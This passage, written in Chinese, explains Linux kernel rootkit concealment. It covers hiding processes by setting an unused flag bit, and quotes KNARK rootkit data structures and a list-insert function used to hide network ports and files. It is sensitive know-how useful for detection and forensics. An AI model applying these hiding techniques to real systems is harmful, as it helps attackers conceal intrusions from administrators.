將資訊置於目前不使用的擴充欄位或者在不和當前資訊衝突的前提下將資訊“擠”進當前欄位,正如current->flags可以重用一樣,比如,如果標準核心中已經定義個若干flag標誌,比如running,sleeping等,我們就可以使用還沒有使用的標誌,要知道如果flags欄位是一個32位的整型,那麼標準的標誌佔有極少的一部分,我們可以隨意使用剩下的部分用於我們自己的目的,例如我們在設定一個進程為隱藏的時候將其flags於一個還沒有被標準核心使用的flag,我們暫且稱為new相與,然後在顯示進程的時候判斷該進程的flags欄位是否有new,如果有的話就不顯示,反之顯示,這是一種很簡單的方式,但是有的時候卻不能奏效,比如涉及到別的資料結構而不僅僅是一個標誌位可以識別的情形,那麼就需要額外的資料結構了,這另外一種方式就是使用額外的鏈表或者別的什麼容器來容納額外的資訊,比如KNARK中使用的那樣,這種方式比較容易被發現,畢竟核心中出現了陌生面孔,現在就看看在KNARK這個rootkit中的方式:
在隱藏連接埠的時候,KNARK使用了以下資料結構:
struct nethide_list //隱藏連接埠使用
{
struct nethide_list *next;
char *nl_hidestr; //連接埠號碼的字串表示
} *knark_nethide_list = NULL;
int knark_add_nethide(char *hidestr)
{
struct nethide_list *nl = knark_nethide_list;
if(nl->nl_hidestr) //找到一個閒置slot
{
while(nl->next)
nl = nl->next;
nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL);
if(nl->next == NULL) return -1;
nl = nl->next;
}
nl->next = NULL;
nl->nl_hidestr = hidestr;
return 0;
}
下面看看隱藏檔案使用的資料結構:
struct knark_dev_struct { //每個裝置一個
kdev_t d_dev; int d_nfiles;
ino_t d_inode[MAX_SECRET_FILES]; //最大的檔案數的inode數組
char *d_name[MAX_SECRET_FILES]; //最大的檔案數的name數組
};
struct knark_fs_struct {
int f_ndevs;
struct knark_dev_struct *f_dev[MAX_SECRET_DEVS];
} *kfs;
一旦想隱藏一個檔案,那麼就會往對應的knark_fs_struct的相應的knark_dev_struct中插入一條記錄,在顯示檔案的時候會查詢這個鏈表,如果檔案存在於這個容器那麼不予顯示。